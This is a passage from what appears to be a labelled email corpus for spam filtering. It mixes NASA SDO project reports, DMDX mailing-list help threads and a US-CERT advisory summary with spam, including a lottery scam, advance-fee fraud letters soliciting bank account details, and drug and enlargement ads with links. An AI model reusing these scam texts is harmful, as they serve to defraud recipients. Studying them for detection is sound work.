SDO MIS web site early next week. The Calendar will provide information on the regular Project technical and programmatic meetings, on the Instrument and subsystem CDR peer reviews commencing in the fall. Donyea Burroughs (Donyea.J.Burroughs.1--AT--gsfc.nasa.gov), our administrative assistant, will maintain the calendar. The Weekly systems team meeting addressed a draft list of major areas that need to be completed by and addressed at the Subsystem CDR presentations, both in order to reduce development risk and also to demonstrate that the subsystems and the project are at a level of design and implementation maturity adequate to warrant moving ahead into the flight phase of the project . The systems team has taken an initial first cut at this list all subsystems are performing a self assessment within their teams and their functional organizations on what items need to be added to demonstrate sufficient maturity to move on to flight article manufacturing. The ground system continued to test and verify the TSI Front End Processor at the GSFC test facility. The FEP did have to go back to the vendor last week for a Viterbi decoder problem but was re-received and testing has continued this week. The IN-SNEC FEP, the second type unit, is due for delivery in approximately two weeks. Also, the DDS group has ordered the remaining hardware to complete the fully functional DDS prototype system. Additionally, the GSM and Ground System Test Manager have entered into discussions with Dryden as to the capabilities of the NASA U2/ER2 aircraft and it's ability to support antenna verification. Finally, work on documents, databases, and system design continues. With the Phase A/B extension thru July, SDO, Lockheed Martin Solar Astrophysics Laboratory (LMSAL), and Smithsonian Astrophysical Observatory (SAO) continue working to complete the Phase C/D/E contractual effort. The Atmospheric Imaging Assembly (AIA) design and development progress continues with a baseline telescope assembly mount design, which will be forwarded to the Project for initial review, a draft mirror coating spec, and an RFP for the structural model telescope tube and flange pull test. Two lifetest filterwheels were received and the assembly of the prototype shutters has been started. The SAO and LMSAL thermal teams met and refined the models to support a power reduction effort and a July thermal peer review. The Helioseismic Magnetic Imager (HMI) team held a successful Critical Design Review for the Michelson Interferometers this week. GSFC participated in the Michelson CDR and no significant issues were identified in the review. The HMI ICD was baselined on June 21. HMI visited their structure subcontractor this week for a design status, and to conduct a working session covering design issues. HMI is currently conducting a trade study on DC/DC converters to evaluate impacts of switching converter manufacturers. The DC/DC converters are on the Common Buy list with SDO, and the HMI trade study is in response SDO re-evaluating their suppliers. At GSFC, the 2 mB SRAM proto-part were assembled on EUV Variability Experiment (EVE) Subsystem Data Node (SDN) Breadboard this week; the SDN team found a problem with the board and troubleshooting continues. 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Please Contact your Claims agent immediately. ___________________________________________________________________________ Mail sent from WebMail service at PHP-Nuke Powered Site - XXXX://yoursite.com ",1,0 �� ��â ,DMDX@psy1.psych.arizona.edu,"Sun, 07 Mar 1937 19:06:48 +0000",������õ �Ϲ��ۼ�Ʈ å������ ���� īī�ڴ�,����������-02 ������������  ����  ������������   ���������� ���� ����   �� �� �� ��  CARD��  ������ ������ ������   �������� �� �� ��  ������ �������� ����  ���� ����   ���������������� ���������� ������ �������� ������   ������ ������ �� ������ ����������,1,1 Derek Hanley ,DMDX@psy1.psych.arizona.edu,"Tue, 29 Jun 2004 12:40:35 +0100",[DMDX] Typed responses and corrective feedback,"Hi all, Does anybody know if it's possible to use the 'atoizilliontext' expression to provide corrective feedback for experiments involving typed responses? Otherwise, is there an alternative way to provide such feedback? Thanks, Derek Hanley ",0,0 Estella Rudd ,DMDX@psy1.psych.arizona.edu,"Wed, 30 Jun 2004 13:05:28 +0220",All products for your health!,"http://porfvw.dampheart.com/?62051481 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! Operative support, fast shipping, secure p@yment processing and complete confidentiality! The store is VERIFIED BY BBB and APPROVED BY VISA! http://porfvw.dampheart.com/?62051481 ",1,1 Maarten van Casteren ,DMDX@psy1.psych.arizona.edu,"Thu, 01 Jul 2004 14:32:24 +0100",[DMDX] Problems with Keithley PIO cards on laptops," Hi, We are experiencing problems with our Keithley PCMCIA PIO cards on our new laptops. The OS is Win2000 and I'm using the latest versions of DMDX, TimeDX and DirectX. DMDX and TimeDX have always worked just fine on desktop machines, which are also equiped with a Keithley card and also run Win2000. The difference is that if I go into the DriverLinx Configuration Panel, on my desktop machine only one driver shows up. On the laptops 3 drivers appear! Only one of these is the correct one (i.e. the PCMCIA PIO24) the others are inactive but can't be removed. I've installed the usual device in DriverLinx on the correct driver, and it all seems to work fine in TimeDX. One thing that you have to do, though, is to select the correct driver from the list of 3 every time you start TimeDX. If I do that all is fine in TimeDX. However, the real problems occur when we start DMDX. It also asks the user to select the correct driver at the beginning of the program, but then asks this question again and again when you try to run, or 'syntax test' a script. Very quickly things go really wrong and DMDX crashes and has to be stopped using the Windows task manager. I have checked the registry settings, and can confirm that TimeDX is saving a record of which PIO driver and device should be used. However, it seems that DMDX keeps asking you to chose a driver and ignores the registry setting. Does anyone know what is going on, and how to fix it? We need to get these machines working urgently and would really appreciate any suggestions. Thanks, Maarten ",0,0 lotterycoordinator ,,"Mon, 05 Jul 2004 02:28:28 +0200",CONGRATULATIONS!!!," FROM: THE LOTTERY COORDINATOR, INTERNATIONAL PROMOTIONS/PRIZE AWARD DEPARTMENT DEAR SIR/MADAM, RESULTS FOR THIRD CATEGORY DRAWS PROTEA GAMES SOUTH AFRICA wishes to inform you of the results of It'S Promotional draws held on the 3RD JUly 2004. We are happy to officially inform you that you have emerged a winner under our Third Category Draws, which is part of our promotional draws. Participants were selected through a computer ballot system drawn from 40,000 names/email addresses of individuals and companies from Africa, America, Asia, Australia, Canada, Europe, Middle East, and New Zealand as part of our International Promotions Program. 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Sincerely, LOTTERY COORDINATOR PROTEA GAMES SOUTH AFRICA 65 Everson Street, Linden - 2104, Johannesburg, South Africa. TEL/FAX: +27 823622669 N.B. Any breach of confidentiality on the part of the winners will result to disqualification. Please do not reply to this mail. Contact your claims agent.(TERMS AND CONDITIONS APPLY) ___________________________________________________________________________ Mail sent from WebMail service ESSL- XXXX://essl.fmj.at ",1,0 Jay Bohland ,DMDX@psy1.psych.arizona.edu,"Mon, 05 Jul 2004 22:31:20 -0400",[DMDX] Mapping Digital VOX trigger to output,"Hi. I am performing a speech production experiment and would like to use voice input to not only record subjects' reaction times (and record responses), but I would also like to send an output on the PIO12 board immediately once the sound threshold has been crossed. I wasn't able to determine a way to do this in DMDX, but it seems that it might be possible. Can anyone tell me if there's a way to do this mapping from input to output during experiment runtime? Thanks, Jay Bohland -- Department of Cognitive & Neural Systems / Boston University 617-353-6181 ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 06 Jul 2004 16:03:09 -0700",[DMDX] Re: Problems with Keithley PIO cards on laptops,"At 02:32 PM 7/1/2004 +0100, you wrote: >Does anyone know what is going on, and how to fix it? We >need to get these machines working urgently and would >really appreciate any suggestions. Well, beyond using an interface card that is sane you'll have to spend some quality time with the Keithley folks. You'll have to get them to download DMDX and provide them with your script so they can see that the software works on the desktop machines. Then they can either fix their driver software so the laptop hardware works like the desktop stuff or they can tell me what it is that I should change. But the whole Keithley premise as far as I can tell is that it's fine to be tossing user level dialogs up to deal with what should be driver level configuration issues. Stupid Keithley design equals busted DMDX behavior, sorry. It's that or send me one of the cards so I can install it in a laptop here and see for my self what needs fudging. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Stability itself is nothing else than a more sluggish motion. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 06 Jul 2004 16:31:28 -0700",[DMDX] Re: Typed responses and corrective feedback,"At 12:40 PM 6/29/2004 +0100, you wrote: >Hi all, > >Does anybody know if it's possible to use the 'atoizilliontext' expression >to provide corrective feedback for experiments involving typed responses? >Otherwise, is there an alternative way to provide such feedback? Yes, you'll have to design your own feedback routine as outlined in the branching documentation. You'll want to load a counter using atoizilliontext and use the keyword that appends a counters value to a frame's display or some such thing. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The most horrifying phrase in the American language is: ""I am from the Government and I am going to Help You.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 06 Jul 2004 16:38:00 -0700",[DMDX] Re: Mapping Digital VOX trigger to output,"At 10:31 PM 7/5/2004 -0400, you wrote: >Hi. I am performing a speech production experiment and would like to use >voice input to not only record subjects' reaction times (and record >responses), but I would also like to send an output on the PIO12 board >immediately once the sound threshold has been crossed. I wasn't able to >determine a way to do this in DMDX, but it seems that it might be possible. >Can anyone tell me if there's a way to do this mapping from input to output >during experiment runtime? The only way I can think of to have this happen (beyond modifying DMDX) would require a constant delay between the threshold and the PIO signal. The items would have to use continuous running with a fixed delay between items and the item afterward would have to send the PIO signal. But even then it wouldn't surprise me to have some inconsistency crop up, at the very least it's going to be the duration of the buffer used to sample the voice data. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The most horrifying phrase in the American language is: ""I am from the Government and I am going to Help You. ",0,0 Gale Valdez ,XXX@XXXXXXXX.XXXXXXX.XXX,"Wed, 07 Jul 2004 13:22:20 -0500",Recharge your power aly05,"""Tht's impossible. What are you talking about, Judas?"" ",1,0 WSEAS Newsletter on Mathematics ,XXX@XXXXXXXX.XXXXXXX.XXX,"Thu, 08 Jul 2004 11:44:28 -0700",great success of the world conference of Applied Mathematics. Invitation for the upcoming conferences,"If you want simply to reply, you must include the word WSEAS in the Subject of your email If you do not want to take our emails any longer, simply reply, the Subject Line must contains the command: STOP WSEAS MATH XXX@XXXXXXXX.XXXXXXX.XXX Dear Colleague, As you remember, we had invited you to send a paper in the World Conference of WSEAS on APPLIED MATHEMATICS in August 2004 in Corfu, Greece. STATISTICS: WSEAS received approximately 600 papers, from them, the organizing committee approved 420 papers for the conference proceedings >From the 420 accepted papers, after further review, 200 papers were promoted in the WSEAS and IASME Transactions If you want to send a paper now, for this World Conference of Applied Mathematicians' world community is too late but we strongly recommend you the send your paper in the upcoming WSEAS events of APPLIED MATHEMATICS (i) 4th WSEAS Int. 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Incredible low prices in the Hilton hotel of Izmir for WSEAS participants. for any question, contact us by email (the subject of your email must contains the word: WSEAS) Please, send us only high-quality research paper(s) (not overview, not surveys) with original results and with excellent english language. Please, do not send ABSTRACTS or PAPERS to us by email. Send now your full paper only via the WSEAS web site as soon as possible. The soonest that you will send it, the most probability to be accepted exists. � * * * * * * * * * * * * * * * * * * * * * * * * * * * If you do not want to take our emails any longer simply reply, the Subject Line must contains the command: STOP WSEAS MATH XXX@XXXXXXXX.XXXXXXX.XXX (Do not include this command in the main part of your email, only in the subject please) If you want to stop more than one email addresses, simply reply, The Subject Line must contains the command: STOP WSEAS MATH email1, email2, ..., emailn where email1, email2, ... emailn must be replaces by your email addresses that you want to stop (Do not include this command in the main part of your email, only in the subject please) ",1,0 Arman Abrahamyan ,DMDX@psy1.psych.arizona.edu,"Thu, 08 Jul 2004 16:23:59 -0700",[DMDX] Multi-scrambling and singular-problem,"Hi Everyone, I was trying to setup my own multi-scrambling item file using the categorization task example from the DMDX help file (see keyword description). In brief I wanted to setup item file that would do scrambling of the blocks of 4 items and then regular scrambling within the block, where the first and last items should remain intact i.e. not be scrambled. Everything works perfectly when I follow the example from the help file. But when I try to make the last item ""inviolable"" using pair of keywords, DMDX starts rendering one of the following error messages 1. MISSING $ 2. Misplaced keyword at beginning of item Here is the item file ---- CUT ----- 0 �READY FOR FUN ?"", ""Hit the space button to continue""; 99 ""Please count male face(s)"" /; 1221 ""cross.bmp"" / ! ""122.bmp"" / / ; 2111 ""cross.bmp"" / ! ""211.bmp"" / / ; ! This line makes trouble +1110100 * ""Your response !!!""; 99 ""Please count male face(s)"" /; 2222 ""cross.bmp"" / ! ""222.bmp"" / / ; 2212 ""cross.bmp"" / ! ""221.bmp"" / / ; ! This line makes trouble +1110200 * ""Your response !!!""; 0 �THAT IS IT, THANK YOU� l; ----- END OF CUT ------ Thank you in advance for you time and efforts to help me in solving this problem. All the best, Arman",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 08 Jul 2004 18:04:02 -0700",[DMDX] Re: Multi-scrambling and singular-problem,"At 04:23 PM 7/8/2004 -0700, you wrote: >! This line makes trouble > > +1110100 Arrow> * ""Your response !!!""; ^ | +----------------------+ | Because this moves with the following item during the first scramble. You need to look at the second multi-scrambling example and use it's extra matching keywords at the beginning and end of item file. Of course, it's more complicated getting it to work in your example. Look at the intermediate files to get a clue of what's going where and when it does it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Pardo's First Postulate: Anything good in life is either illegal, immoral, or fattening. Arnold's Addendum: Everything else causes cancer in rats.",0,0 Philip Scherrer ,hmi_local--AT--quake.Stanford.EDU,"Fri, 09 Jul 2004 15:49:47 -0700","(Fwd) SDO Weekly Report for July 9, 2004"," SDO Weekly Report for July 9, 2004 The Sun is featured on the cover of the July 2004 issue of National Geographic. The article ""Sun Bursts: Hot News from our Stormy Star"" provides a great introduction to the kinds of science that SDO will do and why it is so important! The Project continues to struggle to maintain procurement schedules. Project and Code 500 procurement personnel are working with the Project to find ways to handle the large number of procurement actions that are in process and in the queue. SDO is competing for scarce Procurement resources with several other high priority procurement activities; the Project will explore whether SDO's priority at the Center can be raised. Some action is occurring, however. Evaluation of the C&DH SBC and HGAS Gimbal Actuator proposals are on-going. A Request for Offer (RFO) is scheduled to be released on July 9 for the SDO Propulsion System Propellant Tank. Presolicitation notice was released for the Propulsion System Main Engine and Thruster RFOs. Request For Informations (RFIs) were released for the ASC Star Tracker and Reaction Wheel Assembly. RFI Responses were received for the ACS Inertial Reference Unit. Fabrication of the C&DH PSE ASD SDN Breadboard and the SPN PCC ETU commenced. Routing of the SPN LPSC ETU continued. Layout continued for the C&DH Ka Com Card, S Com Card, BMC, and DC/DC Breadboards. Round two of Chesapeake Children's Museum display design is underway. Text is being finalized and approved by Deputy Project Scientist Dean Pesnell for scientific accuracy and design of the actual displays is being carried out by Emilie Drobnes. The display company, i.e. etc., is responsible for coordination, fabrication, and instillation of the display. Mission Assurance personnel continued to support the SDO Board Design for Manufacturability Study activity, interfacing with the NASA and Northrop Grumman (N/G) folks to push the strategy of the backplane boards. N/G delivered a plan to outline the various proposed manufacturing processes and equipment to be utilized and started to map out a sequence of test for the subject backplanes. They are starting with an Acceptability of Materials phase to look at the solderability of the connector pins and PCB. Thermal profiling will be performed on the backplane to characterize the thermal properties of the board by attaching thermocouples on the top and bottom of the board and at different depths to determine internal plane connection effects. Wave soldering and solder fountain (via an Air-Vac Connector Rework Machine) will be used as the preferred methods. Vapor Phase, Resistance Soldering and Hand Soldering will be the backup options. Board and parts procurement should have started this week. LMSAL summarized recent efforts to improve the AIA thermal design and address heater power growth; a new power goal was provided by the project in advance of a thermal peer review later this month. Efforts continue to minimize impacts to SAO long lead procurements caused by delays in finalizing the Phase CDE contract. The contract modification for consolidation of AIA CCDs, Camera Electronics, and EEE parts under the HMI program has been sent to Stanford for final signatures. LMSAL is currently working to modify the Rutherford Appleton Laboratories contract as part of the consolidation effort. Both LMSAL and SDO parts engineers visited the International Rectifier (IR) plant to assess the IR DC/DC Converter as a replacement for the VPT converter. As a result of the trip, AIA/HMI has decided to use the IR converters where there is no impact to mass or power, but reduce the overall number of DC/DC converters on the Common Buy list. HMI will have a Peer Review on the Focal Plane Assembly next week with GSFC participating. The Peer Review is in response to a Mission PDR RFA. The start of SUROM testing will move one week due to additional work needed on the bridgeboard development box, and the mechanism controller board is in assembly. HMI will visit their structure subcontractor, Vision Composites, for a technical interface meeting on July 16. A joint AIA/HMI Interface Working Group has been scheduled for August 10, 11, and 12, 2004 in Palo Alto, CA. EVE presented a mass increase to 53.28 kg exceeding their allocation of 52.00 kg. The mass increase is due to the CCD package redesign, electronics size increase and separation of the CEB radiator. Numerous mass-saving approaches have been implemented and further ones are being developed. EVE has not requested an increase in allocation at this time. The life test unit CCD (Lessor processed) is on schedule for delivery the week of July 19th. A new thermal vacuum chamber is in place for the life testing and will be commissioned later this month. The life test CCD will use camera and bench electronics delivered earlier this spring. It was discovered that the TSI Front-End Processor (FEP) has a minimum data rate of 50Mbps. This does not allow the TSI FEP to lock up on the RF SOC Pn encoded data, which operates at 40Mbps. The DDS engineers are working on developing a Convolutional encoder/viterbi decoder to allow the RF SOC to operate at 50Mbps - 150Mbps. The IN-SNEC FEP order has been received and processed. IN-SNEC is awaiting for the authorization to export from the French government. Expected delivery date of the FEP is July 30. The Ground System continues to working on detail designs. -- Liz Citrin SDO Project Manager 301-286-1222 FAX 301-286-0214 Cell 410-241-0503 ---End of forwarded mail from pscherrer--AT--solar.stanford.edu -- ",0,0 Hester Downing ,christopher@charma.uprm.edu,"Sun, 11 Jul 2004 12:53:05 -0700",URGENT!,"-Sensattional revolution in medicine! -Enlarge your penis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be i`mpressed with results! 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This summary includes several bulletins that address vulnerabilities in various Windows applications and components. Exploitation of some vulnerabilities can result in the remote execution of arbitrary code by a remote attacker. Details of the vulnerabilities and their impacts are provided below. I. Description The table below provides a reference between Microsoft's Security Bulletins and the related US-CERT Vulnerability Notes. More information related to the vulnerabilities is available in these documents. _________________________________________________________________ Format: Microsoft Security Bulletin Related US-CERT Vulnerability Note(s) _________________________________________________________________ MS04-024: Vulnerability in Windows Shell Could Allow Remote Code Execution (839645) VU#106324 Microsoft Windows contains a vulnerability in the way the Windows Shell launches applications _________________________________________________________________ MS04-023: Vulnerability in HTML Help Could Allow Code Execution (840315) VU#187196 Microsoft Windows fails to properly process showHelp URLs VU#920060 Microsoft Windows HTML Help component fails to properly validate input data _________________________________________________________________ MS04-022: Vulnerability in Task Scheduler Could Allow Code Execution (841873) VU#228028 Microsoft Windows Task Scheduler Buffer Overflow _________________________________________________________________ MS04-021: Security Update for IIS 4.0 (841373) VU#717748 Microsoft Internet Information Server (IIS) 4.0 contains a buffer overflow in the redirect function _________________________________________________________________ MS04-020: Vulnerability in POSIX Could Allow Code Execution (841872) VU#647436 Microsoft Windows contains a buffer overflow in the POSIX subsystem _________________________________________________________________ MS04-019: Vulnerability in Utility Manager Could Allow Code Execution (842526) VU#868580 Microsoft Windows Utility Manager launches applications with system privileges _________________________________________________________________ MS04-018: Cumulative Security Update for Outlook Express (823353) VU#869640 Microsoft Outlook Express fails to properly validate malformed e-mail headers _________________________________________________________________ II. Impact A remote, unauthenticated attacker may exploit VU#717748 to execute arbitrary code on an IIS 4.0 system. Exploitation of VU#106324, VU#187196, VU#920060, and VU#228028, would permit a remote attacker to execute arbitrary code with the privileges of the current user. The attacker would have to convince a victim to view an HTML document (web page, HTML email) or click on a crafted URI link. Vulnerabilities described in VU#647436 and VU#868580 permit a local user to gain elevated privileges on the local system. Exploitation of VU#869640 can lead to a denial-of-service condition against Outlook Express. III. Solution Apply a patch Microsoft has provided the patches for these vulnerabilities in the Security Bulletins and on Windows Update. Do not follow unsolicited links It is generally a good practice not to click on unsolicited URLs received in email, instant messages, web forums, or Internet relay chat (IRC) channels. However, this practice does not always prevent exploitation of these types vulnerabilities. For example, a trusted web site could be compromised and modified to deliver exploit script to unsuspecting clients. Maintain updated anti-virus software Anti-virus software with updated virus definitions may identify and prevent some exploit attempts, but variations of exploits or attack vectors may not be detected. Do not rely solely on anti-virus software to defend against these vulnerabilities. More information about viruses and anti-virus vendors is available on the US-CERT Computer Virus Resources page. Appendix A. Vendor Information Specific information about these issue are available in the Security Bulletin Summary for July, 2004 and the US-CERT Vulnerability Notes. Appendix B. References * Microsoft's Security Bulletin Summary for July, 2004 - * US-CERT Vulnerability Note VU#106324 - * US-CERT Vulnerability Note VU#187196 - * US-CERT Vulnerability Note VU#920060 - * US-CERT Vulnerability Note VU#228028 - * US-CERT Vulnerability Note VU#717748 - * US-CERT Vulnerability Note VU#647436 - * US-CERT Vulnerability Note VU#868580 - * US-CERT Vulnerability Note VU#869640 - * Increase Your Browsing and E-Mail Safety - * Working with Internet Explorer 6 Security Settings - _________________________________________________________________ This alert was created by Jason A. Rafail. Feedback can be directed to the Vulnerability Note authors: Jason A. Rafail, Jeff P. Lanza, Chad R. Dougherty, Damon G. Morda, and Art Manion. _________________________________________________________________ This document is available from: _________________________________________________________________ Copyright 2004 Carnegie Mellon University. Terms of use: _________________________________________________________________ Revision History July 14, 2004: Initial release Last updated July 14, 2004 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFA9ZD4XlvNRxAkFWARApJoAJ9kLfHwh9rjM39LkWpRYYkPDngD+QCcDj6Q P8VLUzmOQoMFj+903rIsKHU= =4I7x -----END PGP SIGNATURE-----",0,1 Tamara Lefcourt ,lefcourt@math.utexas.edu,"Thu, 15 Jul 2004 10:26:49 -0400",Appliance list (fwd),">From sruby@cadence.com Wed Jul 14 16:14:12 2004 Return-Path: Received: from mailgate.Cadence.COM (mailgate.Cadence.COM [158.140.2.1]) by abel.math.harvard.edu (8.11.7-20030923/8.11.7) with ESMTP id i6EKECp24259 for ; Wed, 14 Jul 2004 16:14:12 -0400 (EDT) Received: from exmbx01herz.global.cadence.com (exmbx01herz.Cadence.COM [158.140.212.41]) by mailgate.Cadence.COM (8.9.3/8.9.3) with ESMTP id NAA14835 for ; Wed, 14 Jul 2004 13:14:10 -0700 (PDT) X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""utf-8"" Subject: Appliance list Date: Wed, 14 Jul 2004 23:14:09 +0300 Message-ID: <1413248DD4422F44899F48C0C1E0A41C38C30B@exmbx01herz.cadence.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Appliance list Thread-Index: AcRp3x6RFXZ3eH1sSjWxLiXqy9tbBQ== From: ""Shawn Ruby"" To: X-Received: By mailgate.Cadence.COM as NAA14835 at Wed Jul 14 13:14:10 2004 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by abel.math.harvard.edu id i6EKECp24259 Content-Length: 561 Hi my love, Here it is: Refrigerator: Amana Model 209 or 204 $1780, Stainless steel door, 21 cubic feet. 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There is an account opened in this bank by this great late diamond and oil magnet who died without a written or oral WILL attatched to the account. Since his death I personally has watched with keen interest to see the next of kin but all has proved abortive as no one has come to claim his funds and no other person knows about this account or anything concerning it,the account has no other beneficiary and until his death he was the manager of his company. The total amount involved is 48,223,000.00 USD.[ Forty eight million two hundred and twenty three thousand United States Dollar ]. We wish to start the first transfer with $8,000,000.00[Eight million] and upon successful transaction without any disappointment from your side, we shall re-apply for the transfer of the remaining balance to your account. I have secretly discussed this matter with the manager of the bank who I must involve in order to have a smooth and a successful transfer of the fund to any foreign bank account which you are going to nominate. On this note, I want you to act as the foreign beneficiary of the fund from the deceased by providing your bank account where the fund will be transferred for immediate investment on any viable project as no one has come up to be the next of kin. The banking ethics here does not allow such money to stay more than 2 years without claim hence the money will be recalled to the government treasury as unclaimed after this long period of domancy. In view of this I got your contact through my personal search to see if you can assist by providing your safe bank account for the transfer or find a reliable person who will be capable of receiving such amount in his or her personal account.At the conclussion of the transfer 65% of the fund will be for me, I will give you 20% of the total transfer sum, 10% for charity both in Africa and in your country while the remaining 5% will be set aside to settle expenses both parties might incure during the transfer process. Upon the receipt of your reply, I will send to you a detailed information about the transaction.I will not fail to bring to your notice that this business is 100% risk and trouble free and that you should not entertain any fear as all modalities for fund transfer can be finalized within 7 to 9 banking days, after you apply to the bank as the beneficiary of the fund from the deceased. When you receive this letter. Kindly send me an e-mail or you can call me or fax me. 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Since his death , I personally has watched with keen interest to see the next of kin but all has proved abortive as no one has come to claim his funds and no other person knows about this account or anything concerning it,the account has no other beneficiary and until his death he was the manager of his company. The total amount involved is 48,223,000.00 USD.[ Forty eight million two hundred and twenty three thousand United States Dollar ]. We wish to start the first transfer with $8,000,000.00[Eight million] and upon successful transaction without any disappointment from your side, we shall re-apply for the transfer of the remaining balance to your account. I have secretly discussed this matter with the manager of the bank who I must involve in order to have a smooth and a successful transfer of the fund to any foreign bank account which you are going to nominate. On this note, I want you to act as the foreign beneficiary of the fund from the deceased by providing your bank account where the fund will be transferred for immediate investment on any viable project as no one has come up to be the next of kin. The banking ethics here does not allow such money to stay more than 2 years without claim hence the money will be recalled to the government treasury as unclaimed after this long period of domancy. In view of this I got your contact through my personal search to see if you can assist by providing your safe bank account for the transfer or find a reliable person who will be capable of receiving such amount in his or her personal account.At the conclussion of the transfer 65% of the fund will be for me, I will give you 20% of the total transfer sum, 10% for charity both in Africa and in your country while the remaining 5% will be set aside to settle expenses both parties might incure during the transfer process. Upon the receipt of your reply, I will send to you a detailed information about the transaction.I will not fail to bring to your notice that this business is 100% risk and trouble free and that you should not entertain any fear as all modalities for fund transfer can be finalized within 7 to 9 banking days, after you apply to the bank as the beneficiary of the fund from the deceased. When you receive this letter. Kindly send me an e-mail or you can call me or fax me. You should also include your private fax and phone numbers for easy and safe communication. Respectfully yours, Mr. Ray Chinawah. You can always call me on my satelite phone no: Tel: 874 - 76 - 3648313 or [874]-763648314 Fax: 874 - 76 - 3648315 If you are dailing this nos just dail direct after [your country dail out code] because it's a satelite phone. ______________________________________________________________________ Post your free ad now! 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TimeDX has largely cosmetic changes to the Keithley driver dialog that I forgot to make before releasing the last version and DMDX has a new way of killing the Keithley crap off that's no longer relying on fortuitous circumstances -- at least that's the theory. Can't really tell as the laptop I have to test the PCMCIA Keithley hardware with isn't capable of running DMDX, instead all it can run is the syntax check. Which is where the errors were manifesting anyway so we can hope that a machine that has a video chipset that can at least flip video pages will work nicely. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Uncertain fortune is thoroughly mastered by the equity of the calculation. - Blaise Pascal ",0,0 chuks fley ,XXX@XXXXXXXX.XXXXXXX.XXX,"Wed, 28 Jul 2004 14:41:04 -0700",urgent,"No 13 VS2 Cethswayo Estate Generation-South Africa. {URGENT AND CONFIDENTIAL} (RE: TRANSFER OF ($ 126,000.000.00 USD} {ONE HUNDRED AND TWENTY SIX MILLION DOLLARS) Dear sir, We want to transfer to overseas ($ 126,000.000.00 USD) One hundred and Twenty six million United States Dollars) from a Bank in Africa, I want to ask you to quietly look for a reliable and honest person who will be capable and fit to provide either an existing bank account or to set up a new Bank a/c immediately to receive this money, even an empty a/c can serve to receive this money, as long as you will remain honest to me till the end for this important business trusting in you and believing in God that you will never let me down either now or in future. I am Mr.chuks fley, the Auditor General of a bank in Africa, during the course of our auditing I discovered a floating fund in an account opened in the bank in 1990 and since 1993 nobody has operated on this account again, after going through some old files in the records I discovered that the owner of the account died without a [heir] hence the money is floating and if I do not remit this money out urgently it will be forfeited for nothing. the owner of this account is Mr. Phillip Morris, a foreigner, and a sailor, and he died, since 1993. and no other person knows about this account or any thing concerning it, the account has no other beneficiary and my investigation proved to me as well that Phillip Morris until his death was the manager Morris Coy.(pty). SA. We will start the first transfer with Twenty six million [$26,000.000] upon successful transaction without any disappoint from your side, we shall re-apply for the payment of the remaining rest amount to your account, The amount involved is (USD 126M) One hundred and Twenty Six million United States Dollars, only I want to first transfer $26,000.000 [Twenty Six million United States Dollar from this money into a safe foreigners account abroad before the rest, but I don't know any foreigner, I am only contacting you as a foreigner because this money can not be approved to a local person here, without valid international foreign passport, but can only be approved to any foreigner with valid international passport or drivers license and foreign a/c because the money is in us dollars and the former owner of the a/c Mr. Phillip Morris is a foreigner too, [and the money can only be approved into a foreign a/c. However, we will sign a binding agreement, to bind us together I got your contact address from the Girl who operates computer, I am revealing this to you with believe in God that you will never let me down in this business, you are the first and the only person that I am contacting for this business, so please reply urgently so that I will inform you the next step to take urgently. Send also your private telephone and fax number including the full details of the account to be used for the deposit. I want us to meet face to face to build confidence and to sign a binding agreement that will bind us together before transferring the money to any account of your choice where the fund will be safe. Before we fly to your country for withdrawal, sharing and investments. I need your full co-operation to make this work fine. because the management is ready to approve this payment to any foreigner who has correct information of this account, which I will give to you, upon your positive response and once I am convinced that you are capable and will meet up with instruction of a key bank official who is deeply involved with me in this business. I need your strong assurance that you will never, never let me down. With my influence and the position of the bank official we can transfer this money to any foreigner's reliable account which you can provide with assurance that this money will be intact pending our physical arrival in your country for sharing. The bank official will destroy all documents of transaction immediately we receive this money leaving no trace to any place and to build confidence you can come immediately to discuss with me face to face after which I will make this remittance in your presence and three of us will fly to your country at least two days ahead of the money going into the account. I will apply for annual leave to get visa immediately I hear from you that you are ready to act and receive this fund in your account. I will use my position and influence to obtain all legal approvals for onward transfer of this money to your account with appropriate clearance from the relevant ministries and foreign exchange departments. At the conclusion of this business, you will be given 35% of the total amount, 60% will be for me, while 5% will be for expenses both parties might have incurred during the process of transferring. I look forward to your earliest reply through my email Sincerely, Mr.chuks fley __________________________________ Do you Yahoo!? Yahoo! Mail is new and improved - Check it out! XXXX://promotions.yahoo.com/new_mail ",1,0 yelland ,XXX@XXXXXXXX.XXXXXXX.XXX,,We promise that after trying Penis Enlarge Patch you dick won�t look like overly boiled sausage.,Not1ce y0ur penis to be wider duringthe first week of taking Penis Enlarge Patch. http://www.retsiu.net/pt/?51&878TYj,1,1 Ahmed Egur ,XXX@XXXXXXXX.XXXXXXX.XXX,"Mon, 02 Aug 2004 09:54:27 +0100",Needing Your Help Please,"AUDITING AND ACCOUNTING UNIT. FOREIGN REMITTANCE DEPT. BANQUE TOGOLAISE POUR LE COMMERCE ET L'INDUSTRIE, (BTCI)LOME- TOGO Tel: 002289481249 Mail: justinego2004@hotmail.com Dear N. Christopher Phillips, I am writing following the impressive information about your profile through the website your capability and reliability to champion this business opportunity. In an introduction of myself, I am Justin. From the northern part of TOGO LOME working with the above bank,Married with three kids but lost their mother some few years back ,you may ask why this unexpected letter which is normal I will want to seek your assistance after my discovery during auditing in this bank, I as the head of Auditing department discovered an abandoned sum Fourteen millions U.S dollars ($14 md) in an account that belongs to one of our foreign customers who died along with his 